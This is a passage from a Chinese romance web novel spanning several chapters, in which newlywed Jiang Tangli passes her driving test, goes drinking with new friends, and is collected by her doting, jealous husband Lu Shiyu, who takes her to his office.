心里“哼”出一声后,江棠梨肩膀一转,刚一靠坐回来,后座就传来窃窃私语声。 “看见没,就那个男的,我来的时候,就看见他站在门口了。” “我靠,迈巴赫加深V啊!” “不知道是不是在等女朋友。” “那他这女朋友吃的可不是一般的好。” 听到这儿,江棠梨嘴角是提着的,但是下一句—— “那不然一会儿出来的时候,我去帮你要个电话?” 江棠梨脸一转:“你试试?” 后座两人女人抬头看她。 两人虽然都愣了一下,但其中一个很快就讥笑道:“那不然你去试试?” 一个明艳,一个娇俏。 长得都不赖,不知是不是陆时聿喜欢的款。 江棠梨压下眼底的攻击性,眼睛一弯,带出很要命的无辜感。 “别激动嘛,我说的试试是让你真的去试一下。” 说完,她转身坐了回去。 回到候考大厅拿回自己的身份证,见刚刚那两个女人进了洗手间,江棠梨也不急,索性在大厅里坐着等。 只是没想到,两人再出来简直改头换面。 T恤加牛仔裤都没了,全换成了裙子。 一个小露香肩,一个大露长腿。 真不知是迈巴赫让人蠢蠢欲动,还是真空深V领让人按耐不住。 江棠梨两只眼睛各揣一把冷刀子,目送两个女人走了出去。 从候考大厅到大门口也就六七分钟的功夫。江棠梨没从正对大门的那条路走,她走的小道,绕到门口的保安室墙边,勾着脑袋往停车场方向看。 却见车头前只站了一个女人。 是那个长得很明艳,大露长腿的女人。 江棠梨管不了另一个跑去了哪里,眼睛直盯目标。 “你好。” 陆时聿抬头看过去:“有事?” 女人笑得明艳又大方,“可以加一下你微信吗?” 然而却被陆时聿拒绝得果断又礼貌:“抱歉,不可以。” 换做有的女人,被如此直白拒绝,大概就尴尬走开了,但这个女人没有。 “我不会多打扰你的。” 陆时聿皱了眉:“你现在已经打扰我了。” 随着陆时聿垂下眉眼继续看回手机界面,女人嘴角的笑也平了下来。 虽然江棠梨听不见两人说了什么,但从女人转身后那走路的姿势就能看出来没有得逞。 往车头方向看了眼,见某人又低头看回手机。 江棠梨嘴角抿出笑:“算你有自知之明。” 只是没想到,走出大门没几步远,刚刚那个不知所踪的女人不知从哪里冒了出来。 “你好。” 不似之前那个女人的落落大方,她含羞带怯地看着面前的男人。 “我手机没电了,可以借你的手机用一下吗?” 见男人眼角微眯,女人忙解释:“你别多想,我只是想给我朋友打个电话问她考完了没有。” 话说得委婉,但这种搭讪方式并不新鲜,陆时聿唇角微微一掀,但挡不住他眼底的冷漠。 “我是有太太的人。” 话落,他眼皮也顺势落下,但余光里却又拢出一道白色。 不过一个抬头,他眼底的所有不耐瞬间消失殆尽。 女人的视线追着他小跑的背影,目光定格,嘴角突然一僵。 “怎么考完试还不开机?” 然而江棠梨却没理他,视线越过他肩膀,江棠梨朝不远处那张娇娇俏俏的小脸扬唇一笑。 对方恍然回神似的,突然背过身去。 江棠梨这才看向面前的人:“可以啊陆总,桃花一个接着一个。” 陆时聿回头看了眼,再回头,他轻笑一声:“名花有主了。” 还厚脸皮说自己是名花。 江棠梨剜他一眼:“那要是没主呢?” 这个问题,被陆时聿短暂思考了一下。 “没主的话,我不会花这么多的时间等在这里,让别的女人有机可乘。” 江棠梨把肩膀上的包往他怀里一塞:“油腔滑调!” 只是没想到,走到车边,那两个搭讪未果的女人还站在不远处的一株香樟树下不走。 贼心不死。 难不成还不知道她是正主? 副驾驶的车门已经被陆时聿打开,江棠梨扭头看他:“你刚刚有没有说你是有老婆的人?” 陆时聿摇了摇头。 “你——” “但是我说我有太太了。” 话落,他伸手将放在座椅里的那束玫瑰花拿了出来。 “不生我气了好不好?” 上次是用红玫瑰包成了一个心,这次不仅多了一个,中间还有一个淡粉色的皮质方形首饰盒。 江棠梨抬头看了他一眼:“是什么?” 陆时聿把盒子拿到手里:“眼睛闭上。” 已经有不少的考生从大门口陆续出来。 江棠梨余光带着几分偷感,“好多人看着呢!” 陆时聿却仿若未闻:“眼睛闭上。” “法西斯!”话虽这么说,但她还是乖乖闭上了眼。 以为锁骨那儿会传来凉意,结果耳垂被捏住了,接着,淡淡清凉穿过耳洞。 是耳钉? 不等陆时聿让她睁眼,江棠梨就把手机举到了面前。 竟然是粉钻的耳钉。 刚好和之前他送她的那条粉钻项链配成一套。 若是再穿上她偷偷买的那条粉色小短裙,那她今晚还不粉嗨全场? 把两只耳钉给她戴上后,陆时聿才问她:“考得怎么样?” 江棠梨抬头看他。 说考过的话,他真的会让她去酒吧玩吗? 那如果说没考过呢? 纠结间,江棠梨不由自主地把双唇往一块儿抿,只是还没等她想好,陆时聿就展开双臂把她搂进了怀里。 “没事,没考过就再考一次。” 江棠梨一时愣住,刚要解释—— “不是说晚上和朋友约好了吗,正好今晚我要加班,结束了给我打电话,我去接你。” 说完,陆时聿松开她,“别不开心了,嗯?” 江棠梨:“” 所以,等过了今晚再跟他解释,应该也可以的吧? 回去的路上,生怕他会问考试细节,江棠梨索性装睡,没想到装着装着竟然真睡着了。 耳边传来很轻柔的一声“宝贝”,江棠梨囊了囊鼻子。 陆时聿把胳膊探到她颈后:“到家了。” 虽然眼睛困得睁不开,但江棠梨还是下意识欠身搂住他脖子。 耳边的那声「到家了」像是被慢放传进了她耳里,反应过来再睁眼,她吓了一跳。 挺远的一段路,怎么转眼就进了家门了? 平时陆时聿都是把车停在大门里侧的停车位上,今天见她睡得熟,这才把车开到了门口。 见她眼睛睁开还四处看,陆时聿轻笑一声:“醒了?” 楼梯被他踩得又轻又稳,江棠梨小心脏却心虚地晃个不停。 生怕被他看出破绽,江棠梨把脸往他怀里一拱:“好困~” “困就再睡一会儿,”陆时聿问:“和朋友约了几点?” 他到底是从哪儿得来的消息,怎么就一点都不藏着呢? 江棠梨“唔”了声:“晚上呢。” “约在哪儿了?” 一双眼,在他怀里直转悠。 这要是说了,他会不会提前去蹲点? 江棠梨索性晃了晃自己的脚,带着几分撒娇的音:“你怎么跟我爸一样呀~” “好好好,那我不问,那你结束给我打电话。” 被他抱到床上后,江棠梨一个翻身,把脸趴在了枕头里。 陆时聿双臂撑在她身侧:“那我走了?” “嗯。” 但是他俯身的动作却没有收回来,“我真走了。” 这是要甜头的意思? 江棠梨微微骗过脸,眼睛闭着,嘴巴轻轻一噘。 耳边传来一声轻笑后,唇上落了温热。 蜻蜓点水的一个吻结束,陆时聿在她耳边轻声:“少喝点酒。” 江棠梨:“!!!” 他怎么连她今晚准备喝酒都知道? 脚步声渐远到消失,江棠梨一个骨碌地坐起身。 蹑手蹑脚走到窗边,才发现他车停在了门口。 目送他上了车,江棠梨这才给廖妍拨了电话过去。 “你老实跟我交代,你是不是被陆时聿收买了?” “啊?” 语气太过惊讶。 江棠梨皱眉:“他没找过你?” “我的天呐,你是不是太看得起我了?” 不是他的话,那会不会是陈秘书? 不等江棠梨再问。 “怎么,你家那位现在管你管这么严的吗?” 江棠梨:“” 耳边一连串的笑声,把江棠梨的脸都笑红了。 “不许笑!” “好好好不笑,”但她的咯咯声压根停不下来,“你现在这么怕你们家那位啊?” 「怕老公」这三个字这要是传出去,她江棠梨的脸还要不要了? “你觉得可能吗?我就是不想他吃醋,你是不知道他醋劲有多大!” “有多大?” “反正比女人吃起醋来还可怕!” 隔着电话,她看不见廖妍那看破不戳破的眼神。 “那今晚还出来吗?” “出去呀!”江棠梨瞬间从床上坐起身:“我现在就能出去!” 第57章 虽然离晚上还早,但这个点也不是没有其他地方可以去。 地点是一个江棠梨从网上找的一个人气颇高的清吧。 只是没想到,廖妍比她先到。 看了眼她身边的几几副生面孔,江棠梨丝毫不扭捏地“嗨”了声。 “之前都是在微博看见你的照片,今天我是见着真人了。” “对呀,我们几个可都是你的铁粉。” 这样的开场白让江棠梨意外却也惊喜:“你们都关注我微博了吗?” “那可不,我还给你私信了呢,没想到你竟然还是妍妍的大学同学,可把我们几个高兴坏了。” 廖妍开始逐一介绍:“凯华医疗家的老三,邵雪;远江科技方远江方总的太太高美琪,是港城嫁过来的,那位是圣美整形医院的老板娘,管霏。” 管霏小手轻轻一挥:“以后有任何需要,随时找我哦。” 高美琪用她那蹩脚的普通话:“私人聚会不许拉生意。” 江棠梨抿唇笑:“那我酒吧开张了怎么办,还想请大家伙去给我捧场呢!” 高美琪立马话锋一转:“那还不是你一句话的事儿~” 管霏“嗨哟”一声:“在咱们陆太太面前,能不能收一收你那四不像的京腔?” 高美琪嘴一噘:“要你管!” 管霏笑到抖肩:“怎么连川腔都学上了?” 高美琪气得直拽一旁的邵雪:“你管管她!” 邵雪肩膀一耸:“那你这就得找陆太了,她老公可是拿陆总的工资的。” 江棠梨惊讶到捂嘴:“真的假的?” 管霏却一个冷眼瞥到邵雪脸上:“是前夫,好伐?” 江棠梨倒吸一口气:“你都离婚了?” 她不可置信地摇了摇头:“看不出来啊!” 管霏眉梢一挑:“是看不出我年纪还是看不出我离过婚啊?” 江棠梨是真的觉得她年轻:“你有二十五吗?” 对面几人顿时噗声笑出来。 管霏更是笑得眼尾湿润:“还二十五,我儿子都上幼儿园了。” 只有江棠梨一个人怔在那儿,懵懵的,萌萌的:“真的一点都看不出来。” “这要是被你看出来,那不是砸我自己的招牌吗?” 江棠梨突然想起她是开整形医院的,“那你看我呢,有没有需要动的地方?” “就你这张脸,”管霏笑了声:“当模版可以,动刀就算了。” “但是呢,”管霏视线往她胸口看:“我倒是可以让你更加丰满一点。” 江棠梨对自己的长相和身材从来都没有过丝毫的质疑,但是这种场合,圆滑一点还是要的。 “那日后我有需要可就直接找你喽~” 管霏扭身从包里掏出名片,手指轻推到她面前:“那还不是陆太一个电话的事。” 和新鲜的人总是不缺新鲜的话题。 聊到了余晖散尽,一行人被管霏招呼着去了她预定的餐厅吃晚饭。 被簇拥在中间的C位,江棠梨虽有点不适,但面上还是不露声色。 中途去洗手间,廖妍胳膊碰了碰她,“感觉怎么样?” 江棠梨瞥她一眼:“几分的朋友?” 廖妍一点不藏着:“两分都算不上,不知从哪知道了咱俩的关系,这才几经周折找到了我。不过都是些边角料,应付两句就完了。” 如果是别人带出来的,江棠梨会讨厌这种应付,但是是她廖妍,是她在海市,这个日渐熟悉却还没有融进去的城市里,仅剩的一个朋友。 “对你来说呢,”江棠梨背对洗手台看她:“是我需要帮你应付的关系吗?” 廖妍偏开脸笑了:“江棠梨,你还不了解我吗,真需要你帮忙,我会把话说在前头的。” 洗手间里那样静,静到让江棠梨好像听到了那天因为失去的几个朋友而哭出的声音。 垂眸间,她说了声抱歉,“是我多心了。” 廖妍抬手搂住她脖子:“今天我之所以带几个新面孔来见你,就是想告诉你,失去你江棠梨,是他们的损失,不是你的,懂吗?” 不懂也会懂的。 因为陆时聿,她会失去也会得到。 “你知道吗,我以前最看不起靠男人的女人了。毕业以后创业了,发现要靠家里,结婚了发现,要靠老公。” “靠家里怎么了,靠老公又怎么了?你可别跟我说这是不独立的表现,人和人之间就是需要相互倚靠的,更何况你靠的都是你最亲的人。” “换句话说,你的家人也要靠你,或许不是靠你的钱,但是你提供的情绪和感情价值,这对他们来说也是一种倚靠,你家那位就更不用说了,和你结婚以后,肉眼可见的变化,这些都是靠你江棠梨带给他的,可能这种倚靠会让你觉得有负担,但对他来说,说不定还有一种甘之如饴的享受呢?” 江棠梨被她说笑了:“以前没发现你这么会开导人。” “说出来你可能不信,”廖妍长长叹了一口气:“跟你说的这些都是我这两年领悟出来的。” “咱们上大学那会儿,总说以后要独立独立,但咱们想的都是经济的独立,等真正毕业了走进了各种各样的圈子,朋友、同事、领导,又或者那些七大姑八大姨,整天给你灌输一些有毒鸡汤,稍不注意就会让你略掉自己的真实需求,所以有自主的思考力也是咱们女性独立里很重要的一点。” 这点,江棠梨倒是认同:“我现在就是这样,那些让我觉得失望自卑愤怒的无用的人际关系,我都会及早远离。” 廖妍朝她打了个响舌:“感情上呢,你和你家那位,谁占主导?” “谁占主导我不知道,但我可以很自信地告诉你,我对他是倚靠而绝非依附。” 廖妍把胳膊往她肩膀上一搭,“既然梨总都这么说了,那今晚是不是可以不醉不归?” 江棠梨还真没有在外面喝醉过,她一直都有很强的安全意识,毕竟上面有两个哥哥在,各种危言耸听自然少不了。 对几次在酒吧逮到她的陆时聿来说,对她去酒吧的担心,无非也就是喜欢在舞池里跳舞,当然,这种担心大部分来自于他的私念。 所以在十点之前,即便没有接到她的电话,陆时聿心里都是平静的,但眼看十点过半,手机依旧风平浪静,陆时聿有点坐不住了。 一连两个电话打过去没有认接,陆时聿一边从办公桌前起身,一边给李管家去了电话。 “太太?”李管家愣了一下:“太太不是早上和您一块出门的吗?” 江棠梨下午被陆时聿送回家的时候,李管家不知道,所以江棠梨走的时候,他也不知道。 陆时聿皱眉:“我下午三点二十把她送回了家。” 李管家:“” 见他不说话,陆时聿沉出一口气:“那她怎么出门的,什么时候出的门,你也不知道?” 隔着手机,李管家摇头:“肯定不是张师傅送的,七点的时候,张师傅刚洗车回来。” 所以她这是偷溜,还是走得光明正大? 李管家说:“至于太太什么时候走的,我来问问门口的保安。” 也就两分钟的时间,李管家电话回过来,“陆总,太太是四点半出的门。” 出门时间现在已经不是陆时聿最为关心的了。 陆时聿说:“你去书房,把门口的监控调出来发给我。” 今天室外最高温度已经高达35度,然而监控画面里,江棠梨却穿着一件卡其色风衣。 他都不敢想这件风衣下是怎样一条裙子。 想到接连两次都被他在Lounge逮到,陆时聿猜她今晚应该不会再去,可还是抱着一丝侥幸给楼昭打了电话。 电话那头,楼昭差点喊他祖宗。 “别说我没警告你啊,我刚从实验室回来,29个小时没合眼,你就是撤股,我都不会去酒吧的!” 话都说到这份上了,陆时聿也不好为难他。 “那行,我自己过去看看。” “你等会儿,”楼昭无语又无奈:“我这边能看见监控,一会儿给你打过去。” “还有舞池,”陆时聿强调:“你也多留意一下。” 楼昭都服气了:“这么爱玩,你还让她开什么酒吧,直接拿条绳子栓家里得了。” “能不能好好说话?” 楼昭:“” 也就几分钟的功夫。 “没有,卡座没有,舞池还没开始呢,不过也没有。” “好,我知道了。” “嗳,”楼昭又叫住他:“电话也不接你的?” “酒吧吵,估计没听见。” 楼昭都听笑了:“你还挺会给她找理由。” 陆时聿现在哪有这些闲工夫跟他扯这些有的没的:“你休息吧,我挂了。” 结果楼昭又“嗳”了他一声。 陆时聿深深一个呼吸:“快说。” 楼昭听出来了,这人已经开始强压情绪了。 “要不要帮忙?酒吧我熟,我让人帮你打听打听。” 陆时聿眼角渐眯:“怎么打听,凭照片吗?” “照片,”楼昭呵了声笑:“看来陆总对自己家那位的知名度不是很了解啊,等着!” 结果电话挂断没两分钟,玩消失的人主动回电话来了。 只是没想到,开口却是一道陌生的女声。 “是陆总吗?” 陆时聿眉心倏然一拢:“你哪位?” “我是廖妍。” 在那次江棠梨因为朋友而在阳台落泪的下午,陆时聿就把她身边所有的朋友都查了一遍,包括这位廖宗明的二女儿。 “你好,”陆时聿问:“梨梨呢?” 廖妍往旁边正在举着空酒瓶直呼万岁的某人看了眼:“梨梨她,她喝了点酒” 能让她这个朋友把电话打到他这儿来,怕是不止喝了一点。 “是喝醉了还是喝了一点?” 电话都打了,瞒也瞒不了多久。 廖妍抿了抿唇:“醉了点。” 醉了点,那就是醉了。 醉酒这两个字从来都不会出现在陆时聿的人生字典里。 对他来说,喝醉就意味着失态,意味着你整个人都不再受大脑的支配而做出一些荒唐而又不可理喻的事。 陆时聿拿起车钥匙,“地址。” 以为避开Lounge酒吧,她会选一个多么僻静的地方,结果就在Lounge酒吧斜对面。 到地方的时候,楼昭的电话也打来了。 “你们家那位可真够可以的,知道跑哪儿去了吗?” “烛光。” 楼昭愣了一下:“你、你怎么知道?” “猜的,”说完,陆时聿推开这家酒吧大门:“挂了。” 虽说是酒吧,但这里却是和Lounge酒吧完全不一样的风格,灯光柔和,音乐动感却不吵。 但却丝毫不减陆时聿眉眼里的警觉与担忧。 特别是看见正前方卡座里的人—— 两手各捏一颗葡萄放在自己眼前,扭着肩膀,歪着脑袋。 “像不像,像不像?” 坐她对面的高美琪也喝高了:“唔像唔像,你睇我。” 说着,她拿了两个小番茄挡在眼睛前。 “咁样先系佢。”(这样才是他) 邵雪笑到扶额,管霏是实在受不了了,抬手抢掉了高美琪捏在眼睛上的小番茄扔到果盘里:“你再这样,我就给你老公打电话了啊!” 高美琪一听,顿时惊喜地抓住她手腕:“真嘅吗,嗰你快打,佢都好几天冇返屋企了!”(真的吗,那你快打,他都好几天没回家了。) 江棠梨精通粤语,一听她这么说,顿时托起腮来:“真羡慕你,唔像我老公,一天到晚恨唔得把眼睛长喺我身上。” 听得懂粤语但不太会说的陆时聿:“” 高美琪把脑袋勾过桌沿:“嗰我哋互换好唔好?”(我们互换好不好?) 陆时聿渐眯的一双眼紧锁在江棠梨脸上。 “你老公靓仔唔靓仔?” 陆时聿冷出一声笑来。 这话听着,要是帅,她就愿意换了。 高美琪却扁嘴:“靓仔有乜嘢用,有钱就好啦!” 江棠梨嘴角一撇,顿时失了兴趣般:“能有我老公有钱吗?” 高美琪不甘落后:“但我老公有腹肌!” 江棠梨当仁不让:“我老公也有!” “我老公生日的时候给我买了好几个包!” 江棠梨下巴一抬:“我不过生日,我老公都给我买包!” 高美琪低头一阵找,然后手腕一伸:“我老公还给我买手链!” 江棠梨也伸手:“我老公把它们家的所有手表都给我买了,还有项链,还有耳钉,都是粉钻的!” 高美琪嘴角一撇,“你老公欺负人!” 江棠梨双手往身前一抱,脸一扭,“哼”了声。 高美琪已经在那儿开始找手机了:“我要给我老公打电话,你等着,你等着” 江棠梨一听她这么说,也扭身找手机:“我也要给我老公打电话!” 酒吧里光线虽柔却也迷离,以至于陆时聿绕过沙发的时候,都没人发现。 直到他在江棠梨身边坐下,倒吸一口气的声音接连传来。 但是江棠梨却没发现,一双手,不停地在风衣口袋里掏着。 “咦,我手机呢,我手机明明、明明放这里的呀。” 廖妍就坐她旁边,“嗳,你老公来了。” 于是江棠梨念在嘴里的“手机”变成了“老公”。 “老公呢,我老公呢?” 除了高美琪,其他几人都在笑。 廖妍把她手机从桌上递过来的时候,陆时聿已经先一步动作把自己的手机递到了她面前。 “找这个?” 手机屏幕识别到她的脸,瞬间亮了。 看见屏幕上的照片,江棠梨“咦”了一声,抬头,和陆时聿那双眼对上。 陆时聿以为她会因为自己的突然出现而吓一跳,然而,面前那张脸突然拉近。 江棠梨一把抱住他的脖子:“老公~” 她一秒抱住,又一秒松开,“你是来接我回家的吗?” 没等陆时聿开口,江棠梨就沾沾自喜地扭过头去:“我不能陪你们玩喽,我老公接我回家了!” 陆时聿不是没见过醉酒的人,有的人昏昏大睡,也有的人会喋喋不休。但是能喋喋不休的人,就说明还没有完全醉。 特别是看见她还知道拿起外套拎起包,陆时聿就更加确定了。 可若说她清醒,却又在站起来的下一秒,跌坐回了沙发里。 尽管她今晚很可爱,可是也说了不少让人生气的话。 陆时聿低头看她:“还能走吗?” 江棠梨一边摇头,一边伸手:“抱抱。” 平时就拿她没办法,更何况这个时候。 陆时聿看了眼她身上的裙子。 虽说是粉色小圆领,没有露胸露肩,但却从肩膀沿着胸前画出漂亮的一道弧线,而在那道弧线之上,是一层淡粉色的,极薄极薄的一层纱。 居高临下看去,几乎将她的起伏和沟壑尽收眼底。 尽管陆时聿在心里一遍又一遍地告诫自己,一定要在她的朋友面前给足她面子,可眼底还是露了两分冷色出来。 他站着没动,“先把衣服穿好。” 然而江棠梨却扁嘴:“你给我穿。” 陆时聿严重怀疑她是故意想在大庭广众之下秀恩爱,准确来说,是秀他对她的无奈与纵容。 偏偏他就是拿她没办法,就是会被她的撒娇,甚至无理取闹吃得死死的。 最终让他这个居高临下的人弯下腰,低下头。 衣服穿好后,陆时聿的腰却还低着:“要哪种抱?” 江棠梨伸着食指往上指。 陆时聿便懂了。 将她整个人的重量都压在自己的小臂上,陆时聿看向卡座里的人,“单我已经买了。”说完,他颔了颔首。 到了酒吧门口,陆时聿站住脚。 “老实说,醉没醉?” 因为他仰着头,江棠梨轻而易举就捧住了他的脸。 “老公,我今天考了满分哦!” 看着她那一点又一点的下巴,陆时聿皱眉:“什么满分?” “考试啊,满分哦,”她声音软得不成样子:“有没有什么奖励嘛?” 反应过来她说的是下午的科目三,陆时聿气笑一声:“不是说没过?” 江棠梨却好像没听见似的,坐在他手臂上扭了扭:“有没有奖励嘛~” “奖励,”陆时聿眸色沉了下去:“奖励你在落地窗前怎么样?” 第58章 “奖励,”陆时聿眸色沉了下去:“奖励你在落地窗前怎么样?” 陆时聿其实就是嘴上说说,却没想到说完之后,她扑簌着一双眼睫,无辜地看了他几秒后,突然悄咪咪地问:“跪在窗前吗?” 陆时聿觉得她是真醉了。 不然她一定会无辜又委屈地说不要不要不要。 几许无奈里,陆时聿摇了摇头。 谁知却惹来她一阵扭腰摆臀,还不停地追问:“是不是呀,是不是呀?” 陆时聿偏开脸失笑一声,但是视线收回再抬头看她,他又故作一张严肃脸。 “这么想罚在窗前?” 江棠梨嘴巴噘得老高:“不是奖励吗?” 陆时聿听出来了:“奖励在窗前就要,罚在窗前就不要,是不是?” 她下巴重重一点:“嗯!” 陆时聿凝眸看了她一会儿,越发拿不准她酒醉了几成。 “那你先告诉我,醉没醉?” “嗯~” 一个字,三个音,被她拖出了绵延起伏的波浪。 虽然陆时聿没有见过她醉酒,但见过她喝空过半瓶葡萄酒后的状态,整个人清醒得好像滴酒未沾。 所以今晚呢? 不顾她的反抗把她塞进车,陆时聿给廖妍回了个电话。 “陆总。” “我想请问一下,她今晚喝了多少。” 眼看电话那头沉默,陆时聿说:“实话实说就好,我是询问不是质问。” 这就像一个女人问一个男人:你以前谈过几个女朋友。 但凡你犹豫,她就会说一句:没事,你说实话,我不会生气的。 作为女人,廖妍可太清楚这其中的套路了。 所以廖妍说:“也就两杯红酒的量。” 最大红酒杯是360毫升。 陆时聿浅浅笑出一声:“两个满杯?” “没有没有,”廖妍忙否认:“也就、也就小半杯这样。” 那就是没说实话。 陆时聿没再追问,刚想说一声谢谢,车里的人就歪身往外拱—— “说,给哪个狐狸精打电话!” 陆时聿气笑一声,把挂断的手机往里一扔:“江棠梨,江狐狸精!” “江狐狸精”念叨一遍后,她身子一转,把丢到主驾驶里的手机摸到手里。 “敢抢我老公!”她“哼”了一声。 陆时聿站在车外,看着她快把脸低到屏幕上的姿势,终于确信她的醉不是装的。 既然不是装的,那回去的一段路足够让她昏昏欲睡。 然而事实却是—— 车窗玻璃被陆时聿关上几次,就会被她摁下几次,车窗一开,她就对着窗外唱歌。 上一句还是「喜欢你,那双眼动人」 下句就变成了「命运就算颠沛流离,命运就算颠沛流离」 紧接着又唱到「Happybirthdaytoyou,Happybirthdaytoyou~」 最后一个音符还没被风吹散,她又调子一变「一闪一闪亮晶晶,满天都是小星星」 虽说时间已经很晚,可路上车辆却不断。 开始的时候,陆时聿还觉得有几分丢脸,结果被她几句一唱,陆时聿就忍不住笑出声来。 以为她唱累了就会坐回来,又或者唱着唱着脑袋一歪,结果被她一路唱到了家门口。 保安听到声音,勾着脑袋往外看。 江棠梨把手一挥:“Hi~帅哥~” 保安:“” 车缓缓驶进大门,见她把脑袋勾出窗外。 “江棠梨,”陆时聿伸手去捞她:“坐回来!” 她听不见似的,往外喊:“帅哥,留个电话呀——” “刺啦”一声里,车斜停在车位里。 江棠梨扭头看过去,眼波一顿,眼皮再一抬,看见被陆时聿捏在手上的粉色布条,她“哇”的一声:“你赔我裙子,你赔我裙子!” 哭唧唧的腔调配上她又嗲又奶的声音,让陆时聿不仅耳膜一震,头皮也一阵发麻。 撕坏裙子是小,这失态的模样下车不知要被保安背地里笑话成什么样。 陆时聿朝她做了一个“嘘”声的动作:“不说话,我就赔你裙子。” 声音就这么止住了,结果陆时聿刚一打开车门,脚还没来及迈出去,西装后摆就被她抓住了。 “不许跑,你还没赔我裙子!” 陆时聿气笑一声,回头:“不跑,我去给你拿裙子。” “你骗人,你一走我就找不到你了!” 陆时聿只得坐回来:“那你跟我一起去,行不行?” “不行!你带我去买!现在就带我去!” 见过人喝醉,却没见过谁喝醉后像她这样。 吐字极其清楚,偏偏脑子迷糊。 可是怎么办,只能什么都顺着她的话来。 陆时聿轻轻握住她手腕:“商场就在旁边,我们先下车,好不好?” 以为能把她蒙骗过去,结果见她把脑袋勾出窗外。 “骗子,”她一扭头,“哪有商场!” 陆时聿已经不知是对她无语还是对自己无语了。 他手往她那边的窗外指:“被树挡住了,看见没有?” 江棠梨一个巴掌拍在他横过来的胳膊上:“你少骗我,商场好多灯的,那里面那么黑!” 她手一指:“我警告你,今天你不赔我裙子,休想走!” 说她脑袋浆糊,偏偏又很有逻辑。 陆时聿身子凑过来:“江棠梨,你到底醉没醉?” 她凶巴巴的眼神撂他脸上:“你才醉了呢!” “既然没醉,那你好好看看,我是谁?” 江棠梨嘴角一勾,冷笑一声:“我管你是谁,你就是天皇老子也要赔我裙子!” 陆时聿:“” 这状态,他就不该怀疑。 可是听她这话的意思,是不认得他了? “江棠梨,我再问你最后一遍,我是谁?” 他眉眼里乌沉沉的,里面不乏警告的意味。 江棠梨眼睫扑簌两下后,嘴巴一扁:“撕坏人家的裙子还凶人家,”她呜声都出来了:“我要告诉爷爷,你欺负人!” 还知道跟老爷子告状,陆时聿好笑一声:“既然知道我是谁,那这裙子还要不要赔了?” 挡在眼睛上的手落了下来,江棠梨湿着眼睫看他:“要!” 陆时聿:“” 虽说这个时候她不会讲理,陆时聿还是决定试一试:“太晚了,商场都关门了。” “可是你那么厉害,可以让商场开门的。” 陆时聿:“” 真的,这么多年来,他从没有像现在这样无计可施过。 其实也可以不管她的反抗把她抗回家,可不知怎的,又狠不下心来。 陆时聿看了眼后视镜,两个安保笔挺地站在门口。 看似目不斜视,怕是就等着看好戏。 短暂犹豫后,陆时聿索性把车开出了小区。 商场是不可能去的。 但他觉得,或许用不了一会儿,旁边的人就能睡着。 果然,车刚一经过集团大厦,旁边那只脑袋就歪了过来。 为了让她睡意再深一些,陆时聿便多绕了两个圈。 可谁知道把她抱下车会不会弄醒她。 她今天的醉态,陆时聿已经不想再被任何人看见。 所以再次经过那座全玻璃结构的办公大厦时,陆时聿手里的方向盘一转。 夜深人静,地下停车场静到针落可闻。 车门打开时的声音让陆时聿动作停了一下,默了几秒,没听身后有动静,他这才迈出一只脚,然而还没踩到平地—— “到了吗?” 紧绷的神经一松一紧间,陆时聿扭头看她。 不仅人坐了起来,眼睛也在这昏暗的车厢里格外得亮。 这哪里像一个醉酒的人醒来后的样子,又或者说,真要是醉了睡着,会这么容易醒? 不知怎的,陆时聿突然有了一个大胆的假设。 他坐回来,身子越过中控台,手掌压在她发顶,视线从她的眉到她的眼,落到她唇上时,压在她发顶的手也抚到她脸上,指腹在她唇上轻轻揉了两下后,他才倏地一笑:“以为你会一觉睡到明天早上呢。” 江棠梨却余光往外瞄:“这是哪里呀?” “不是说要买裙子的吗?”陆时聿笑了笑:“是商场停车场。” 肩膀被安全带束缚着,江棠梨也没管,一把抱住了他的脖子:“我就说老公最厉害了。” 副驾驶车门打开后,江棠梨双脚都没着地就被陆时聿抱进了电梯。 见他直接摁了最上面的数字键。 “这是哪个商场呀?” “自己家的,”陆时聿抬头看她:“没来过吧?” 江棠梨左右看了看:“好像、来过。” 陆时聿视线凝在她那既懵又萌的脸上。 她今天化的妆和平时不太一样,眼妆带着些许的细闪,透白的光线下,有着淡淡一层绯。 难道是他想多了? 电梯门开,走廊的灯也随之亮起。 “一会儿去洗手洗脸,我去给你挑裙子。” 江棠梨却皱眉:“要洗澡!” 陆时聿抬头看了她一眼:“喝了酒不能洗澡。” “要洗要洗要洗!” 江棠梨低头看他,略微发红的眼底一点都不羞:“要你给我洗。” 陆时聿:“” 见他不说话,江棠梨在他手臂上扭了两下:“好不好嘛?” 不过睡了一觉,不管是眼神还是语气都变了。 陆时聿丝毫不藏着:“我要是帮你洗,那就不是单纯的只洗澡了。” 刚一说完,肩膀就被砸了一拳。 “可你刚刚还说是洗澡!” 陆时聿:“” 如果是白天,陆时聿真想让陈敬去买一个测谎仪,看一看她说这些话的时候,心跳有没有变化。 进了办公室,陆时聿猜把她放到地上:“先洗澡还是——” “我要喝水!” 陆时聿去倒水,满满一个玻璃杯的水被她喝得干干净净。 “还要吗?” 江棠梨抿了抿唇:“饿了。” 陆时聿气笑一声:“光顾着喝酒饭都没吃?” “吃了会撑肚子。” 说完,江棠梨低头看向自己的肚子,不看不要紧,一看把她吓出一声尖叫。 也把陆时聿吓了一跳:“怎么了?” 她两手托着自己那平坦的小腹:“鼓起来了!” 陆时聿忍着笑:“哪有鼓起来。” “可是从上往下看,就是鼓鼓的,”她抬头,一双眼全是埋怨:“都说不能喝水了,都怪你!” 平时就不太讲理,喝了点酒,那就更别指望了。 可她刚刚还说饿。 “要不要给你点些吃的,一些不会让肚子鼓起来的吃的?” 以为能哄骗到她,结果却见她松开轻咬的唇瓣,摇了摇头,不等陆时聿再劝—— “我要洗澡去了。” 刚刚还让他给她洗,结果一转眼的功夫又忘了似的。 可是看见她熟练地往接待室的休息间去 视线追着她的两只脚。 穿那么高的高跟鞋还能走得这么稳,甚至还能走出一条直线来。 陆时聿偏开脸笑了。 虽说休息间里的陈设都很简约,但空间却极为宽敞。 特别是卫生间,地面和墙壁都是普拉达绿大面石材。 不过江棠梨没有心思去六一这些,她看着被撕坏了的裙尾,满心满眼都是心疼。 “臭男人,手劲干嘛那么大!” “肯定是故意的,肯定是嫌它短不让我再有机会穿!” “小心眼!” 一道“哼”声里,江棠梨把裙子往洗手池里一丢。 再抬眼,她对着镜子左右照了照。 除了眼睛里有一点点的红之外,脸的颜色几乎和平时无异。 应该没有被发现吧? 就她这炉火纯青的演技,是个人应该都能被蒙混过去。 想想也是憋屈。 考试没过又不是她说的,是他自己误会的。 她干嘛要为他的理解能力买单—— “梨梨?” 突然传来的声音吓得江棠梨肩膀一提。 一时之间突然就忘了该装出什么表情来了,慌乱之下,她忙跑到门后。 “怎么了?” 一门之隔,陆时聿看着磨砂玻璃现出的那团灰影。 